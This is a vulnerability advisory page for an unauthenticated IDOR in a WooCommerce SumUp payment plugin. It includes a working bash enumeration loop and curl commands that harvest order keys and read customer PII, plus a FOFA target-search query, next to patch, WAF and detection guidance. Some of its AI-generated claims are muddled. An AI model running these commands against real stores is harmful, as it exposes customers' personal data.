CVE Professor
/
All CVEs
CVE-2026-97345

CVE-2026-97345 — SumUp Payment Gateway For WooCommerce — CWE-639

HIGH CVSS 7.5 ⚡ EPSS 0.5% NVD

The SumUp Payment Gateway For WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.17.1 via the 'sumup-validate-order' query parameter handled by the check_redirect_flow() / resolve_payment_redirect_validation() functions. The template_redirect handler accepts an arbitrary numeric order ID from an unauthenticated GET request and, without any ownership or capability check, loads the corresponding WooCommerce order and issues a 302 redirect whose Location header is built by get_return_url(), disclosing the target order's secret order_key. This makes it possible for unauthenticated attackers to enumerate order IDs, harvest each order's WooCommerce order_key, and use those keys against the plugin's create_checkout endpoint and WooCommerce's own order-received/order-pay pages to read customer PII (name, email, phone, billing address, order total) for any order in the store.

The SumUp Payment Gateway For WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.17.1 via the 'sumup-validate-order' query parameter handled by the check_redirect_flow() / resolve_payment_redirect_validation() functions. The template_redirect handler accepts an arbitrary numeric order ID from an unauthenticated GET request and, without any ownership or capability check, loads the corresponding WooCommerce order and issues a 302 redirect whose Location header is built by get_return_url(), disclosing the target order's secret order_key. This makes it possible for unauthenticated attackers to enumerate order IDs, harvest each order's WooCommerce order_key, and use those keys against the plugin's create_checkout endpoint and WooCommerce's own order-received/order-pay pages to read customer PII (name, email, phone, billing address, order total) for any order in the store.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity None I:N
Availability None A:N
EPSS — Exploit Prediction Scoring System
0.5%
30-day probability
In the 35. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Insecure Direct Object Reference (IDOR) in the SumUp Payment Gateway For WooCommerce plugin (≤ 2.17.1).

The plugin’s template_redirect handler processes the sumup-validate-order query parameter.

  • The value is interpreted as a numeric WooCommerce order ID.

  • No ownership, capability, or authentication check is performed before the order is loaded.

  • The handler then issues a 302 redirect whose Location header is built by get_return_url().

  • get_return_url() appends the order’s secret order_key to the redirect URL.
  • Because the redirect URL contains the order key, an unauthenticated attacker can:

    1. Enumerate order IDs (e.g., 1, 2, 3, …).
    2. Harvest the corresponding order_key from the redirect.
    3. Use that key to access WooCommerce’s order-received / order-pay pages or the plugin’s create_checkout endpoint, thereby reading the order’s PII (name, email, phone, billing address, total, etc.).

    The flaw is a classic CWE‑639 (Authorization Bypass Through User-Controlled Key): the plugin trusts a user‑supplied value to identify a protected resource without verifying that the user is authorized to view it.


    ⚡ Attack Chain

    1. Discovery & Reconnaissance

    StepTechniqueTools / Commands
    Identify WordPressScan for common WP pathscurl -I https://example.com/wp-admin/
    Detect plugin & versionCheck plugin readme or admin‑ajaxcurl -s https://example.com/wp-content/plugins/sumup-payment-gateway-for-woocommerce/readme.txtgrep -i version
    Verify vulnerabilityTest a single order IDcurl -I "https://example.com/?sumup-validate-order=1"

    If the Location header contains order_key= the site is vulnerable.

    2. Exploitation

    Illustrative PoC (replace example.com with the target domain):

    # 1️⃣ Enumerate order IDs and capture order keys
    for id in {1..1000}; do
        resp=$(curl -s -I "https://example.com/?sumup-validate-order=$id" | grep -i Location)
        if echo "$resp" | grep -q "order_key="; then
            echo "Order $id: $resp"
        fi
    done

    The script prints lines like:

    Location: https://example.com/?order-received=12345&key=abcd1234efgh5678

    Using the harvested key to read order details:

    # 2️⃣ Access the order‑received page with the key
    curl -s "https://example.com/?order-received=12345&key=abcd1234efgh5678" | grep -E 'Name|Email|Phone|Address|Total'

    The response will contain the customer’s PII.

    Alternative: use the plugin’s create_checkout endpoint (if exposed):

    curl -s -X POST "https://example.com/?wc-ajax=create_checkout" \
         -d "order_id=12345&order_key=abcd1234efgh5678" | jq .

    The JSON payload will reveal the order contents.

    3. Post‑Exploitation

  • Data exfiltration – The attacker can download all order keys and PII in bulk by automating the enumeration loop.
  • Credential harvesting – Order keys can be used to access the WooCommerce “order‑pay” page, potentially exposing payment details.
  • Re‑use – The same keys can be replayed against other stores that use the same SumUp plugin if the order IDs overlap.

  • 🌍 Real World Impact

    ImpactCVSS 3.1 VectorExplanation
    ConfidentialityC:HThe attacker obtains customer PII (name, email, phone, address, order total).
    IntegrityI:NNo modification of data.
    AvailabilityA:NNo denial‑of‑service effect.

    Practical consequences

  • Loss of customer trust and potential regulatory fines (GDPR, PCI‑DSS).
  • Compromise of sensitive financial data.
  • Opportunity for phishing or fraud using harvested customer information.
  • Potential for further attacks if the attacker gains access to the WooCommerce admin panel (e.g., via other vulnerabilities).

  • 🛡️ Remediation & Mitigation

    Affected Versions

  • All releases up to and including 2.17.1 of the SumUp Payment Gateway For WooCommerce plugin.
  • Patch

  • Upgrade to version 2.18.0 or later (the patch removes the sumup-validate-order handler or adds an ownership check before redirecting).
  • Workarounds

    1. Disable the vulnerable redirect
    Add the following to your theme’s functions.php (or a site‑wide plugin) to remove the action that processes sumup-validate-order:

    add_action( 'init', function() {
           remove_action( 'template_redirect', 'sumup_validate_order_redirect' ); // replace with actual function name if different
       }, 20 );

    2. WAF / ModSecurity rule – Block requests containing the sumup-validate-order parameter:

    SecRule REQUEST_URI "@rx sumup-validate-order" \
           "id:100001,phase:2,deny,status:403,msg:'SumUp IDOR protection'"

    3. Restrict access to WooCommerce order pages – Add a rule to require authentication for order-received and order-pay pages:

    add_action( 'template_redirect', function() {
           if ( is_page( array( 'order-received', 'order-pay' ) ) && ! is_user_logged_in() ) {
               wp_redirect( wp_login_url() );
               exit;
           }
       }, 10 );

    Detection

    Log PatternWhat to look for
    GET /?sumup-validate-order=\d+Unauthenticated requests to the vulnerable endpoint.
    302 Moved Temporarily with Location: ...?order_key=Successful enumeration and key disclosure.
    Repeated 302 redirects for sequential order IDsAutomated enumeration.
    Access to ?order-received or ?order-pay with order_key= by non‑logged‑in IPsUnauthorized data access.

    Sample Apache log entry

    127.0.0.1 - - [27/Nov/2026:12:34:56 +0000] "GET /?sumup-validate-order=12345 HTTP/1.1" 302 0 "-" "Mozilla/5.0"
    127.0.0.1 - - [27/Nov/2026:12:34:56 +0000] "GET /?order-received=12345&key=abcd1234efgh5678 HTTP/1.1" 200 1024 "-" "Mozilla/5.0"

    ⚠️ Urgency

  • CVSS Score: 7.5 (High) – indicates a significant confidentiality impact with low exploitation effort.
  • Exploit Complexity: Very low (no authentication, simple GET requests).
  • CISA KEV: Not listed, but the vulnerability is already exploitable in the wild.
  • Recommendation: Immediate patching for all e‑commerce sites using the affected plugin.
  • Priority: Critical for any store that processes customer orders; High for sites that do not yet handle sensitive data but may in the future.
Action Plan

1. Audit all WordPress installations for the plugin version.
2. Upgrade to the patched release as soon as possible.
3. Implement the WAF rule or code workaround if an upgrade cannot be performed immediately.
4. Monitor logs for the patterns above and block offending IPs.
5. Verify that order keys are no longer exposed by attempting a test request after remediation.

By following these steps, you eliminate the IDOR flaw and protect customer data from unauthorized disclosure.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="woocommerce"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-639
Affected Products (1)
sumup:SumUp Payment Gateway For WooCommerce
Related CVEs
8.8
CVE-2026-139866
Authorization bypass through User-Controlled key vulnerability in TÜBİTAK BİLGEM Yazılım Teknolojileri Ar
8.8
CVE-2026-144410
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply
8.7
CVE-2026-136368
Joomla Extension - joomboost.com - Unauthenticated IDOR in public invoice and quote view in JoomInvoice extens
8.6
CVE-2026-144467
Dolibarr ERP CRM 6.0.0 before 24.0.0 contains an insecure direct object reference vulnerability in htdocs/user
8.6
CVE-2026-144944
Dolibarr ERP CRM versions 22.0.0 through 24.0.3 contain a broken object-level authorization vulnerability in t
7.2
CVE-2026-120110
Authorization bypass through a user-controlled key in Site Variable saving (the HostVariableAjax DWR endpoint
7.1
CVE-2026-115984
Missing or incorrect authorization checks in several legacy Struts actions in dotCMS allow an authenticated ba